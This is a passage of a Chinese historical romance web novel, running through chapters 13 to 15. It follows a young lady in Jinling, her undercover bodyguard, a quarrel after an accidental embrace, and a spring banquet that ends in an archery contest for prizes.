钱映仪捻了一颗酥糖放在嘴里,暗暗用一双眼去扫量她,“你唱得真不错,有一副好嗓子,我先前没听过,今日听完十分高兴,特寻你来说说话,你不会嫌烦吧?” 璎娘自打唱戏起,就一惯面对些自持清高的看客,何尝直面过这样的和气? 面前这小姐眼底并无轻慢之色,上来夸自己唱得好,即便唱了半日有些累,这时候也觉得身心舒缓了。 因而笑一笑,启唇回钱映仪,连语气都真心实意起来,“小姐偏爱我,我又怎敢推辞?只笑这茶水令我与小姐结缘,该我请小姐喝茶,待饮过了,小姐想与我说什么只管直说。” 二人你推我往,最终是璎娘请钱映仪喝上一盏茶。钱映仪不由地细细欣赏起她,笑问:“你真好,回头我想听戏,能不能请你去家里唱?” 河岸一带的戏班子,总耻于在外头抛头露面唱,若能得贵人青睐请进宅邸里,平日见了同行也要扬眉吐气一番。 璎娘又惊又喜,一连声应下,待钱映仪益发真诚,旋即聊了起来。 渐渐地,天已昏沉,街上门户点起灯,微黄的灯透过戏楼窗柩,斜斜拉出几条斑驳光影。 夏菱附耳催促一阵,钱映仪方转脸冲璎娘笑,“就这么说,你与你干娘去交代,我就先走了。” 这厢钱映仪已是心满意足,正欲往马车那头去,岂知就这般巧,迎面撞上一双漂亮至极的眼。 像是未曾预料会在此遇见,钱映仪眨眨眼,嫣然一笑,“燕大人,你这时候怎么在此处?” 话说自打上回钱兰亭反复叮嘱过后,钱映仪已渐渐歇了要与燕如衡频频见面的心思。 此番又遇见,钱映仪在心中暗道巧合,又抵不住将目光落在那张尤其漂亮的脸上。 俄延半晌,还是燕如衡收回错愕的眼,也不禁一笑,“好巧,钱小姐,我们又见面了。” “家中有客,我作陪过一轮,有些不胜酒力,这才往河边来吹吹风。” 说到此节,钱映仪仿佛才闻见他身上那丝醇香酒气,想及爷爷的叮嘱,不咸不淡点了点下颌,只回以微笑,“那我便先行归家了。” 秦离铮在一旁暗自窥探,只道是不可令钱映仪早早回去,倘或她日后不再与燕如衡有来往,线索便在此中断,他又何苦白忙一场? 因而在钱映仪回身时,刻意挡了她半截路。 “......你做什么?”钱映仪暗向他使眼色,“你看不明白?让开!” 秦离铮面不改色,依旧没动。他赌燕如衡定会挽留。 果然不过稍刻,燕如衡匆匆上前,因喝过酒的缘故,眼睑下浮着淡淡的红,眼色也不大清明,温柔的嗓音里藏着小心翼翼,“钱小姐,可是我有哪处惹你不高兴了?” 钱映仪掀眼瞪秦离铮一眼,倏地换了副笑容,转身冲燕如衡笑,“怎么会?就是我还未用晚饭,有些饿,想着早早归家填肚子罢了。” 燕如衡须臾转了神色,又笑得温润有礼,四下张望一眼,便指了一处食肆,“上回在江宁本应我做东请你,今日正好补上,不如就去那?” 他笑起来时如和煦春风,钱映仪一面偷偷瞧他的脸,一面暗骂自己不争气。 又在此刻忆起爷爷的话,爷爷也只说不要牵扯太深,话里话外依旧赞成她与燕如衡交朋友不是? 倘或只是朋友,倒也说得过去了。 钱映仪有些为难,漂亮的男人她不是没见过,只是燕如衡这张脸与她实在投缘... 反复思忖半晌,钱映仪总算下定决心,打算先拒了他,回头把话摊开去问爷爷,若爷爷不许,她便不再与他有来往。 若爷爷允许,她自当遵从本心与他做朋友。 河岸向来热闹,晚风吹起燕如衡身上的酒气,带着一缕他常用的柑橘香,“钱小姐可想好了?” 钱映仪一抬脸就看见他柔和的笑,于是往前走几步,向他福了福身,“对不住,我......” 岂知在这时生了变故,她身后一条分巷里跑出几个五六岁的顽皮小童,其中有个撒着腿跑,出了巷口就倒退着往后蹦,“你们抓不着我!” 小童收不住力,倏地撞上钱映仪,撞得她往前跌了几步,惊着一双眼,看燕如衡下意识摊开两条胳膊,意欲搀稳她。 热闹都在河对岸,此处虽没什么人,可有爷爷的叮嘱在前,钱映仪只来得及转身,往一旁倒。 自古多少才子佳人都是在外头一搀、一扶而渐起流言。 她倒不害怕那些荒谬之言,她只怕届时那些话将燕家与钱家绑在一起,爷爷生气。 只是这样一来,两个丫鬟离得远,钱映仪不可避免要原地跌一跤。 冷不防一只手将她的胳膊一拉,一阵天旋地转,钱映仪整个人就被一阵清爽的薄荷气息重重包裹。 她怔愣片刻,不可思议盯着近在咫尺的侍卫,抬脸时两帘睫毛扫过他光洁的下颌,一时又没说出话。 秦离铮不明白自己因何要去拉她,这感觉令他十分不自在。 她的掌心摁在他的胸前,另一截手腕被他捏在指间,下颌酥麻发痒,一霎就将他强硬拽进那些个无法言说又无比荒谬的梦里。 他在做什么? 秦离铮蓦然松开她,往后退一步,忽然生出一丝对自己的怀疑,一言不发站在原地,两片唇崩成了一条笔直的线。 这动静惊得两个丫鬟都呆住,连同燕如衡都把向来温和的目光轻易转变为审视。 钱映仪一张脸变化莫测,顾不得与燕如衡再说话,慌慌张张爬进了马车里。 直至马车消失在视线里,燕如衡才渐渐捏紧拳头,隐露两分不甘心。 而这厢,一行人来时高高兴兴,回去时心肠却是各自百转千回。 秦离铮屈膝坐在马车外,不知是因未能与燕如衡有过多接触的缘故,还是一些说不清的东西,始终是低垂着脸。 马车踅进琵琶巷,停在钱宅门前。 钱映仪久久没下车,反倒先叫两个丫鬟进去。 夏菱惊望秦离铮一眼,“小姐有话与你讲!” 秦离铮点点下颌,淡然去掀缃色的帘子,欲请钱映仪下来说话。 岂知指尖刚探进去,就被一只手掐住,旋即虎口一疼,她竟是往他手上重重咬了一口! 车帘被撩开,钱映仪那张愠怒的脸出现在秦离铮眼前,她那张嘴依旧叽叽喳喳,想来是在马车里已兀自平复过一阵,“你可知我是小姐,你是侍卫,方才河边多少人,你的职责只在护我安危,谁许你抱......” “我方才就是在护小姐安危。”秦离铮倏然截断她的话,语速比平时快了几分,很奇怪,他有些惶然,他竟怕有什么旖旎的话从她嘴里说出来。 “...你!”钱映仪一时不知说什么好,也不顾什么端庄仪态,三两下跳了车,迎面给了侍卫两拳。 她恨恨道:“你不知耻!” 言罢气冲冲提着裙踩上石磴,一溜烟消失不见。 小玳瑁一路都呆呆的,这时候才喃喃道:“天老爷,林铮,你不是喜欢小姐吧?” 秦离铮缓缓抬手,看着虎口那截牙印。 想及在河边自己赌燕如衡会挽留她,却算不准自己会有什么举动,一刹那像是听了什么引人发笑的事,泄出一丝冷笑,“我喜欢她?” 小玳瑁脱口而出:“不喜欢小姐,小姐要摔倒时,你拉她一把就行了。” “为何要抱她?” 少年骇目圆睁,不住地摇头,“你完了,小姐定是去回禀太太,要将你赶走,方才我见小姐气得厉害,话说回来,以我的经验来看,你是喜欢小姐的吧?” 秦离铮淡瞥他一眼,摁下心里那抹尤其吊诡的感觉,半晌自顾往宅子里走,话像是说给他听,又像是说给自己。 “绝无可能。”《 》 14、第14章 夜色似墨,云滕阁也十分静谧。两个丫鬟神情担忧,掌灯贴在门前静听片刻,夏菱道:“小姐,您还好吗?” 屋内半晌没动静,夏菱没好气碎了两句嘴,“什么侍卫,我看就该赶他走,咱们当初也不该捡他回来!” “侍卫”二字像颗石子,一刹那被扔进面前这间平静无波的寝屋。 但见窗纱扑闪,烛光好似由风带得晃了晃。稍刻,门蓦然被拉开,露出钱映仪那张神色古怪的脸。 “再打水来,我还要沐浴!” 夏菱忙上前追劝,“小姐方才已洗过一回,再要洗也无妨,但总要先用过晚膳才行,今晚太太使厨房做了小姐爱吃......” “吃饭先放一放,去打水。” 夏菱仍要劝,掌灯的手被另一只手轻掣,她扭头,灯火照出面上一丝不解。 春棠斜眼偷瞥钱映仪,明显她心不在焉,低垂着眼。 于是春棠悄悄比划, ——先依着小姐说的办,你瞧小姐现在吃得下饭么? 夏菱紧抿着唇,眼风往钱映仪身上打转,最终与春棠两个一并去备水。 钱映仪独站门后,心头那丝恼意迟迟未散,那个侍卫!第一回握住她的手腕,第二回摁在她的脸上,第三回拉着她直冲他怀里! 就当他方才所言不假,可小玳瑁也是她身边的侍卫,往前不是没出现踩歪跌一下的情况,夏菱与春棠赶不上时,也是小玳瑁扶的她。 怎不见小玳瑁如此? 钱映仪板着脸一直没吭声。 有个小丫鬟偷瞄她,又悄声与身旁的丫鬟道:“小姐好生气。” 其实钱映仪向来对下人们都很是不错。 逢春裁制新衣,遇上端午、中秋这样的大节,与她们各放几日假,使她们回自己家与家人团圆。 有时来了兴致,也会在院子里与她们耍,高兴了赏东西,不高兴常常只是一人独坐房中。 有些官太太与小姐对下人动辄打骂,钱映仪却好似不大在意这些细枝末节。 因此小丫鬟们十分喜欢她,虽是奴仆与主子的关系,每每钱映仪不高兴时,也总想掷去几记关切的目光。 譬如此刻,不知钱映仪下晌高高兴兴出去,又为何气鼓鼓回来,小丫鬟们只能暗暗把她偷瞥,假装手里有活,不时在她面前走上两圈。 不一时,夏菱与春棠提着热水踅回,奉上一应用具,静静退了出去。 香炉里的烟气浮沉在屋里,带出一缕零陵香,逐渐蔓延至钱映仪身前。 钱映仪再三横臂把胳膊轻嗅,从一截小臂到指尖,她嗅得很细致。像是觉得身上始终残留一丝她不大喜欢的薄荷气。 薄荷清爽,冷冽,甚至有几分冲鼻。 钱映仪对这样的气味有股与生俱来的排斥,嗅来嗅去,愈发烦躁,索性一脱衣裳,狠掷在屏风上。 雾气腾腾往上冒着,凝在钱映仪那张瘪嘴嫌弃的脸上。 薄薄的肩背欹在木桶边缘,钱映仪的目光在那截胳膊上反复巡视。 不知是不是错觉,她总觉得这一截已然不是自己的,有一股奇异的感觉像是要从里面穿凿出来,窃窃的,很烫。 她眼露烦意,暗自咬牙,像是咒骂,“无耻之徒,别再让我看见你。” 可惜老天爷并不遂她。 待水温渐凉,钱映仪总算闻不见那丝气息,整个人也逐渐平静,反倒是晓得饿了。 于是穿了件入睡的寝衣,往肩头搭了件天青色的披风,“吱呀”一声拉开了门,“夏菱......” “你怎么在这儿!?”话音未落,钱映仪往后退了半步,朝三丈外的年轻人怒视。 秦离铮手里提着食盒,静静站在原地,因穿了件黑色圆领袍,若非是云滕阁点着灯,险些就将他给忽略了去。 夏菱这时从另一头旋裙过来,小声道:“小姐,他说...他来给小姐赔罪。” 也许是为了验证这句话,秦离铮走近两步,将食盒搁置在树下一张竹编的四方小桌上。 钱映仪目露嫌弃,“拿走,我不吃你带来的。” 秦离铮侧过脸来,声音一惯冷淡,“请小姐不要生气,我只是护主心切。” 言下之意便是一切都是意外,可这话听在钱映仪的耳朵里令她十分不满,气势汹汹往他跟前走去,将那食盒丢回他怀中,只固执道:“我说拿走!” 上下扫量他几眼,她两片嘴唇复又开始频频相碰,“我上回怎么与你说的?倘或你表现好,我便不赶你走,可你着实太没有分寸,哦,你说你护主心切,你拉我一把我心中感谢你,可为何...为何要....你不是身手敏捷?这样小小的失误都避不开?” 是的,钱映仪愈说愈忿然,好似不愿承认这也许真如他所说,只是一场意外,他真是只为护着她,并无他意。 可两番对比下,她方才又气又恼冲回来,他倒如没事人一般,这算什么? 侍卫不咸不淡一句解释,像迎面给她罩了个“恼羞成怒”的织网,任由她独自一人在里面蒙头转圈。 她的这些表现,与他的冷静比起来,益发显得可笑。 因此她私心里小心眼地将这场“意外”归结于他的失误。 钱映仪扭过脸不看他,余光窥他站在原地不动,又凶道:“还不走?” 秦离铮在心头叹气,只暗道她有些娇纵,静听她说过一连串的话,又暗道她似乎是在别扭。 其实早在小玳瑁揣测许珺是否会赶他走时,他便开始在心中检算。 他要织的是一张大网,要将金陵的贪官之流一网打尽。 身为大家闺秀,她常与其他家的小姐们走动。 再没有比在她身边待着更合适的了。 且就当成是他的错,故而明白她有些恼怒时,他复又兀自往红庙附近去,寻那位买米糕的阿婆,一路紧赶慢赶,终于在阿婆即将收摊时截停她。 秦离铮看向站在一旁鼓腮的女孩子。 她方才洗过澡,急匆匆拔脚过来时有股清新的皂香涌进了他的鼻腔里,那帘睫毛微微往上卷翘,轻颤着,凝聚一丝水汽,为她总娇纵的性子蓦然添上柔软。 沉默了半晌,秦离铮稍稍垂眼,拉开食盒摆饭,将那碟完好温热的米糕呈在她眼前,语气倏软,牵出几分真诚,“我知小姐吃这个会高兴,惹小姐生气,是我的错。” 钱映仪眉目轻扬,倒是诧异,“你何时买的?” “怕小姐赶我走,方才跑马去的。” 他学习她的固执,把那道米糕往她身前递了递,“请小姐不要赶我走。” 月辉洒在墙头,院内又点起几盏灯,益发灯火通明,钱映仪抿着唇,不知是否忆起初次捡他时的凄惨模样,一颗心又软下来。 俄延半晌,她终于扭过脸,往竹桌旁伏腰坐下,“下不为例。” 秦离铮笑,“听小姐的。” 两个丫鬟惯会审时度势,忙不迭地上前挤开侍卫,把钱映仪围着,笑嘻嘻伺候她用饭。 饿意上涌,钱映仪吃得有些急,因沐浴过,也不曾绾发,只用根玉簪轻拢满头绸缎子般的乌丝,亦低垂了几绺在肩头。 秦离铮窥她垂脸靠近小碗,目光倏然凝视在她细细的锁骨上,那处挂了串平平无奇的珠链,坠着一个铜钱大小的琉璃香瓶。 淡粉的珍珠做装饰,由一根琴身上的角弦串在一处,瞧着稍显陈旧,珠子稀稀散散,不大美观。 她向来爱整洁有序,竟能容忍在脖子上挂这样一串东西? 大约他的目光太直接,钱映仪复又有所察觉,正狐疑抬头去看,却见他老实侧着身。 她瘪瘪唇,嗓子里喧出两分不自在:“你去外头吧,我不生气了。” 秦离铮点点下颌,再没说什么,兀自转背离去了。 她已放下她的小小脾气,他也见好就收,至于对彼此而言很“惊心动魄”的那个意外,也只好暂且先搁置在某个隐秘的角落里。 剩一旁的铜漏滴答滴水,滴过两三个夜,在这日莺红柳绿时,静悄悄的钱家又迎来钱其羽归家。 钱其羽习惯独来独往,至多带个小厮一同去府学伺候起居,行走却总是十分张扬,每回恨不能叫所有人都知晓他又回来了。 这日他依旧是先跑来寻钱映仪,满园子寻她不见,最终在许珺处找到了她。 进门便往怀里一阵摸索,笑嘻嘻掏出一封烫金请帖,“阿姐!瞧这是什么?” 钱映仪正与许珺一并盘腿在榻上坐,由许珺教她打一些式样简单的络子。 闻声,她远远去瞧,笑道:“隔得这样远,我又不是神仙,你拿过来给我。” 待送到手里,看清上头的字时,她不免微怔。 赫然是燕文瑛使人送来的春宴请帖。 钱其羽兴冲冲挤着榻边坐,歪过脸去瞧钱映仪,瞳眸里闪烁几点期盼的光,“阿姐,咱们去不去?” 钱映仪暗咳两声,飞眼色提醒他。 少年恍然回神,一拍脑袋,讪讪笑了,“抱歉,府学那头课业繁重,我忘了爷爷的叮嘱,方才在门口碰上来送帖子的小厮,想着能跟阿姐出去耍,一时高兴就顺手将帖子给接了。” “那...这帖子要不要退回去?”他有些迟疑。 许珺心思活络,把两个孩子来回窥一窥,踩鞋下榻,取了两瓣木瓜挨个递去,又笑一笑,“既接了帖子,就去吧。” 钱其羽道:“可是爷爷说叫我们与他们少些来往。” “你就记得这句,”许珺扶着一张书案,一连嗔他,“那你可还记得你爷爷也说过,寻常赴宴小聚没什么要紧的呢?” “去吧,”她思忖片刻,道:“正常往来,谁也捉不住什么错处,若避着不与他们接触,倒显得咱们家不近人情。” 于是次日一大早,钱其羽穿一件缥碧色的直缀,戴着黑色幅巾,打扮得清爽利落地在园子里等钱映仪。 俩姐弟踏着茸茸春色出了门。 这时节已然是愈发天暖,街上吆喝喧阗,时常有意气风发的小少爷们打马驶过长长的街道,亦有小姐坐在香车里,大抵都是约好要去踏春。 这厢辗转到了蔺家门前,远远就瞧见有小厮丫鬟在门口候着。 稍刻,自里头走来两个伶伶俐俐的丫鬟,引钱映仪与钱其羽进门。 秦离铮远远跟在钱映仪身后,不动声色扫量蔺家,园子里各处都栽着稀有品种,碧瓦朱檐,雕梁绣户,倒是十分气派。 睃寻片刻,又将目光落在前面那道身影上。 据褚之言交代,金陵这班富贵人家的春宴向来在四月初,可燕文瑛的请帖却在这时候送来... 他复又想起秦淮河岸的那个“意外”,彼时,燕如衡有一道目光是落在自己身上。 这个“意外”竟令燕家坐不住?要迫不及待提前举办春宴来接近她? 那厢在前头引路的丫鬟温顺向钱映仪道:“晏小姐与温小姐都到了,少奶奶方才还念着您呢。” 钱映仪客气抿出一丝笑,没接话。 拐廊走过一截路,又穿过两个小小的园子,总算行至蔺家的大花园。 近前一瞧,燕文瑛已使人排布筵席,请来一个戏班子架台,里里外外热闹得紧。 一旁的四角亭里坐了晏秋雁与温宁岚,那与钱映仪不大对付的郭月也在,周遭还有些认识却不大熟悉的小姐们。 少爷们则安排在另一头,男女席面用连成一排的大插屏隔开,两边各自有丫鬟小厮轮番伺候。 燕文瑛正与一家小姐说着话,一眼望见钱映仪,立时在秀脸上绽开个大大的笑容,带着丫鬟匆匆行至钱映仪身前,擎着她的手握握,“好妹妹,你可算来了,我正等你呢。” 言罢,把钱映仪轻拉去那四角亭里坐,招呼两个丫鬟呈上做工精致小巧的糕点,道:“请不要嫌弃,先吃些,待人到得差不多,咱们就饮酒作乐,痛痛快快耍一场!” 又往一旁够眼去瞧,状若无意催问丫鬟,“去夫君的书房寻少爷,问他怎的还不过来?” “都是年轻孩子,他怎好在书房待着。” 钱映仪自当她是讲礼节,乖顺朝她笑笑,又暗朝晏秋雁与温宁岚挤眉弄眼。 晏秋雁接连一段时日未曾见她,想念得紧,忙过去掐一掐她的腮,“瞧着胖了些。” “不止是胖了些,面色也红润了不少。”温宁岚笑叹。 “有么?”钱映仪托着腮肉往上挤一挤,笑道:“怪我贪吃。” 说话间瞥见郭月,顾念二人坐一桌,钱映仪到底与她福身,“月月。” 郭月向来与她关系一般,还爱与她争口舌之快,今番却罕见冲她笑笑,“哟,你今日这身穿得亮眼,倒叫我眼前一亮。” 不知怎地,钱映仪觉得她这抹笑里掩藏着一丝不怀好意,因而捉着温宁岚低问:“岚岚,我问你,今日那吴念笙可会来?” 上回郭月也是这般笑,那吴念笙就追到了她跟前。 温宁岚敛眉细想,摇摇脑袋,“燕姐姐应是不曾请他。” 钱映仪倏然长舒一口气,目光飞往不远处搜寻侍卫的影子。 她今日原是想带小玳瑁来,临出门时想及这个缘故,恐吴念笙似鬼一般缠上她,是以才带他出来。 有他在,想必她也不用怕。 半炷香的功夫,月亮门下转来一人,身姿挺拔,衣袂飘飘,不是燕如衡又是谁? 他唇畔始终含着一抹笑,离近了,便先往男席那头打过照面,旋即转来女席,守礼与小姐们作揖。 目光流连至钱映仪时,他缄默片刻,笑意更甚,“钱小姐,今日阿姐备下了射覆、投壶,你无需拘束。” 钱映仪左右窥一窥,见他旁人不叫,偏拘着她来搭话,后知后觉明白些什么,谨慎地磨了磨嘴唇,意欲推脱,“这些我不......” “三哥哥,今日好生热闹,既有射覆,怎能少得了我?”倏然一记狷狂之声自门下送来。 下一刻,两道身影一前一后进来,前头那少年十八九岁的模样,头扎黑幅巾,穿着浅蓝色的葡萄纹圆领袍,肤色白皙,五官端正,身量高挑,只是神色轻狂,一路行来不斜视旁人,俨然一副不将人放在眼里之态。 后头那位则是吴念笙,也显得精神抖擞,只是有前头那位少年衬着,多少有些不够看。 燕如衡暗自拧眉。 园子里静了静,半晌,还是郭月羞怯怯起身,端正朝那少年福身,“见过世子。” 钱映仪紧紧盯着那两道身影,余光瞥清钱其羽似乎有些躁动,忙朝他使去眼色。 风和日丽,满园春色。那少年卑睨一切,没几时走到四角亭外。 他逐一扫视亭内众人,在郭月身上稍稍粘连一瞬,复又将目光落在钱映仪身上。 耀眼绚目的春光下,少年笑得几分放肆,益发显得乖张,“钱家映仪,真是许久未见了。”《 》 15、第15章 钱映仪在金陵这八年的光阴里,早先因心直口快得罪过一些心思细腻的小姐,郭月便是其中一人。 只不过那时郭月自己也不讨人喜欢,或许是在她身上找到了几丝同病相怜,郭月那时只是用鼻孔瞧她。 后来,钱映仪把自己关在云滕阁,整日与纸笔打交道,过于平淡的人生里,却牵出一桩事,足以叫她从此在金陵再不受哪位贵眷欺负。 彼时,钱兰亭见不惯她总闷在家中,劝她出去走动。 无奈之下,钱映仪未乘马车,领着丫鬟出门闲耍,那时身边还跟着身强力壮的婆子,共两位,都由她从京师带来。 败兴玩了半日,钱映仪欲打道回府,走街串巷时,自分巷跑出个年岁差不多的少年,“嘭”地一下撞她身上,疼得她不住地往后退。 那少年目中无人,见撞了人也没想道歉,拔脚便往另一头跑。 钱映仪忙不迭跑去把他截停,目光紧锁他的脸,“撞了人,连声对不住都不说,看你是个少爷打扮,行事却粗鄙,你不许走!” 少年仗着力气比她大,两三下挣开,反手将她推倒在地,眼露不屑,“你又是哪家的,敢拦我?” 钱映仪自小就是个吃软不吃硬的脾性,在京师时就是块硬骨头,到了金陵与那班小姐说不到一处去,方忍着枯燥在家中待着。 这下跌坐在地上,钱映仪缓过神来,木怔怔盯着擦出血丝的掌心,怒从心起,大有不管不顾的架势,命两个婆子擒住少年。 这厢不曾防备,少年两条胳膊霎时被婆子反擒在背后。 两个婆子往前也是在钱映仪母亲身边伺候,见识过大风大浪,见他穿着打扮不凡,恐出身富贵,便有些踟蹰,“咱们刚来时,老爷太太都反复叮嘱小姐要照看好自己,老太爷也说小姐在外不要与陌生人多来往,倘或他们知道了......” 少年竖起耳朵听,脑袋倒灵光,不一时猜出钱映仪的身份,鄙夷瘪唇,“我道是谁,原来是钱家那个爹不疼娘不爱的可怜虫。” 金陵那些将将十二三岁的少年们,一惯还爱将爹娘挂在嘴边,钱映仪在这班人眼中就成了爹娘抛弃的孩子。 钱映仪本就有些生气,其实事实并非如此,可她听了这话愈发是血气冲脑,“蹭”地一下就往少年跟前冲,一拳打歪了他的脸。 “......”少年呆愣瞪大眼,很快醒过神来,恶由胆生,反手把她推在墙根下,“你吃了熊心豹子胆了?敢打我?!” 眨眼的功夫,二人扭打在一处。 一个嘴里叫着:“我有爹有娘,爹娘恩爱和睦,我比不过你,有人生没人教!” 一个益发恼怒嘶喊着:“你说谁没人教?我今日非要与你个女孩子动手,打得你一张嘴再不敢胡吠!” 二人力气之大,连两个膀宽肩圆的婆子都没拉住。 还是那少年身边跟丢的小厮循声赶来,才骇惊着一副神色,与婆子一道使力将二人拉开。 钱映仪鬓发尽散,狼狈至极,小脸却没什么伤痕。 反观那少年,披头散发,袍子歪斜穿在身上,脸上破了相,捂着肩头不住地喊:“你还敢咬我?你可知我是......” “我管你是谁!”钱映仪叉着腰瞪他,气吁吁喘着气,“你撞我辱我在先。” 一截短短的小巷没几时聚满了人,谁也不曾料想,竟是两个官家子弟在互殴,人群里有人眼尖认出少年,低呼:“......那不是瑞王世子?他也有受挫的时候?” 消息很快传进两边长辈的耳朵里,钱兰亭与瑞王赶到时,钱映仪正与俞敏森互相推搡,原来是在等长辈做主的间隙里,二人之间又势如水火,起了口舌之争,而后渐渐上手。 钱兰亭与瑞王尚无来往,为此有些瞠目结舌,本想各自拎回家教训,碍着周遭皆是百姓,瑞王不得不当场“审问”。 得知儿子有错在先,瑞王硬着头皮把俞敏森的脑袋往下摁,沉声道:“与钱小姐道歉。” 俞敏森也是块啃不动的硬骨头,任凭瑞王如何逼迫,他都咬着牙关不松口。 最后是瑞王说把他丢在原地,日后只当瑞王府没有他这个世子,他才知晓一丁点害怕,“对不住”三个字仿佛是从齿隙里钻出来。 当夜,钱家映仪与瑞王世子互殴且一朝得胜的消息传进各个府邸。那瑞王世子是何等一个小霸王?平日里眼睛总长在脑袋顶上,整个金陵除了瑞王,再没谁治得了他! 单这一条,就使钱映仪跟前再无什么闲言碎语,那些不喜与她来往的小姐见了她,目光也不再是反复扫量。 自那之后,俞敏森与钱映仪结下梁子,但逢照面,必启唇相讥。 渐渐地,钱映仪长成大姑娘,心思细腻起来,对当年之事又生出不同看法,只觉太过冲动,因此近两年对俞敏森是能避就避。 这厢钱映仪静静看着俞敏森眼底的不屑与轻狂,敛起心神,倒像是个没事人一般,端正朝他福身,“世子。” “你如今倒乖顺。” 钱映仪面色不改,维持不卑之态,“世子也如从前一般。” 与从前一样令人生厌。 俞敏森眼梢隐含对她的审视,想从那张脸上揪出少时的蛮横与粗鄙。 周遭一些少爷小姐本已将此事淡忘,此刻脑海里像投掷一记棒槌,登时记起二人之间的仇恨。 有些惯爱瞧热闹的,早已将目光旋去燕文瑛身上。 燕文瑛显然未请俞敏森,不光是他,连吴念笙她都刻意避开。 左思右想间,不防对上男席那头蔺玉湖的眼,燕文瑛心中咯噔一声,暗骂他小人作为。 蔺玉湖只爱寻欢作乐,对家中事情一概不问,前段时间她下了他好大一个脸面,此番定然是他请来俞敏森这霸王,意欲何为? 自然是期盼俞敏森最好是大闹春宴,从此令她办的筵席在金陵令人避之远及。 这厢已来不及与蔺玉湖算账,燕文瑛乍然端着腰起身,一揽钱映仪的肩,笑着从中斡旋,“都别傻站着,清溪,领世子与吴小少爷去你姐夫那头,要你姐夫好好招待。” 燕如衡多敏锐一个人,方才已然看破钱映仪与俞敏森之间的言语机锋,因此笑着点头,引二人过去。 撇开这小小的插曲,筵席照开,请来的戏班子在台前唱戏,钱映仪端坐在四角亭内,总有些败兴。 因此托腮巡视各样面孔,没几时察觉吴念笙在那头偷望她,她心下满是不耐烦,下意识去搜寻侍卫的身影。 岂知四处寻他不见,只有丫鬟小厮来来回回走动。 “映仪...” 钱映仪匆匆醒神,转脸望向一旁,原来晏秋雁与温宁岚不知何时坐她身边来,互相捧了道点心悬在她面前,“晓得你与瑞王世子有过节,现下心里不大舒服,但咱们在燕姐姐的夫家呢,好歹给燕姐姐一个面子。” 钱映仪眼波轻飘,飞快瞥了眼与人吃酒的蔺玉湖,嗟叹一声,暂且把烦闷止住了,“知道了。” 一轮戏唱完,众人捧场叫好,连连夸赞燕文瑛不知打哪寻的戏班子,一阵奉承,园子里的气氛又火热起来。 钱映仪再度搜寻侍卫的身影,这回却是看见他了,老实立在原地,远远看向她这头。 正暗犯嘀咕,燕文瑛那头笑着颔首,使丫鬟擎着两个托盘,“你们当中有些人想来也是不爱听戏的,我命人早早备下了射覆与投壶用的东西,以这两样东西做彩头,今日就看谁的本事大。” 众人够眼去看,定睛一瞧,原来是一幅画与一个琉璃香瓶。 燕文瑛暗睃钱映仪一眼,笑着与众人解释:“这画是我闺中时所得,不算富贵,却是副好画,出自名家之手,一旁这琉璃香瓶,亦是我母亲赠与我,里头可放置香丸,当个新奇的小玩意儿佩戴。” 她早早已从晏秋雁口中挖出,钱映仪时常四处搜寻画作。 原以为钱映仪会目露惊喜盯着画瞧,孰知钱映仪的目光始终在那个琉璃香瓶上。 大抵是她的目光太直接,晏秋雁眼露不解,与她轻语,“你往常不是喜欢寻画好送给你爷爷,今日转了性子,看上琉璃香瓶了?” 温宁岚心思细腻,把正出神的钱映仪窥一窥,搭腔道:“映仪不是有一个差不多的?应是想凑一对?” 钱映仪满目皆是那个琉璃香瓶,顺从温宁岚的话轻点下颌,“我想要它。” 晏秋雁与温宁岚互相睇眼,泄出个笑,暗自盘算待会玩射覆时,让一让她。 打定主意,晏秋雁便扭头问郭月,“你玩不玩?” 郭月兴致缺缺,“不太想。” 因此晏秋雁剪起胳膊笑吟吟道:“燕姐姐,我们这一桌除了郭月,都玩!” 郭月这时又一改口风,眼风往俞敏森身上打转,笑道:“我只说我不太想玩,没说我不要,我也要琉璃香瓶。” 园子里倏然有些寂静。 “燕姐姐,射覆有哪样好玩的?”那俞敏森不知何时起身,冲这头喊,“照我说,不如换成步射,谁的准头好,这两样东西就给谁。” 那琉璃香瓶小巧可爱,小姐们本还跃跃欲试,一听改为步射,立时鄙夷,暗骂俞敏森不通风雅。 燕文瑛暗自叫苦,正欲开口,那蔺玉湖却拍手叫好,一双丹凤眼高高吊起,面上尽显醉态,“射覆没什么意思,无非比谁脑子转得快,相比之下,这步射更为刺激,我瞧不如这样,我家有处场地宽阔,想得彩头的不妨都过去,每人配一把弓,一齐下场,一齐射箭,谁的箭最先射中,彩头就归谁,如何?” 他赶在燕文瑛前头发话,众人只当夫妻一个意思,少爷小姐暗自摩拳擦掌,也有些怕栽了跟头出丑,一时园子里沸沸扬扬,止不住地低语交流。 最终细数下来,包括钱映仪在内,一共是十二位。 蔺玉湖大笑,“走!都随我过去!” 辗转走到蔺玉湖所说的那处场地,已过去一炷香的时间。 蔺玉湖吃多了酒,脚步有些虚浮,歪脸望向那两个擎着托盘的丫鬟,一指场地正中央,“去,放那。” 丫鬟面色为难,扭头看向燕文瑛。 燕文瑛绷着唇,半晌,深深吸气,点了点头。 旋即与燕如衡交换眼色,命他将两样彩头都拿下,再私下转赠与钱映仪。 蔺家的小厮没几时取来十二把弓箭,挨个呈给场地内围圈站的众人。 此处乃一片平地,像是蔺玉湖少时用来学驭马的地方,因此周遭只有寥寥枯木。 秦离铮背欹在一棵枯树下,透过堆攒的人头缝隙静静瞧着拿着弓箭的女孩子。 不知准头如何? 这厢钱映仪握着一把弓,目光落在正中央的那副画上,因材质为纸,恐不慎射坏,蔺玉湖便命小厮往画卷上架了块四四方方的木板,只说倘或谁能率先射中其中一角,便算赢。 吴念笙与她中间隔着温宁岚,便歪脸窥一窥她,小声道:“映仪,我替你赢来。” “我阿姐身边没人了么?”钱其羽凑巧在他另一头,自眼风里飘出一丝不屑,“用得着你这非亲非故之人替她赢?” 燕如衡长身玉立,立在钱映仪对面,即便手持弓箭,他依旧温润如玉,自有翩翩君子之态。 他暗窥钱映仪的神色,心中有几分不解。早先那几回与她见面,他非常明白她的眼睛会停在他的脸上,挪不开。 今日却不见她如此... 很快,蔺玉湖爬上一块与人小腿差不多高的假石,笑喊:“听我口令......” “射——” 接连“噌”的几声,十二支羽箭齐发,抢先那支箭自燕如衡的方向射出,疾速落往木板的其中一个角。 很可惜,十二个人里,有几人手生,射得歪了,十分凑巧地将燕如衡的那支羽箭给顶去一旁。 钱映仪对这幅画不感兴趣,一门心思扑在琉璃香瓶上,因此这副画让谁得了去...都行。 那俞敏森早已在暗中窥她,见她射箭时随意拉弓,便知她的目标是另一样彩头。 故而在接下来的争夺里,他也佯装准头不好,频频射歪。 这副画最终归于燕如衡囊中。 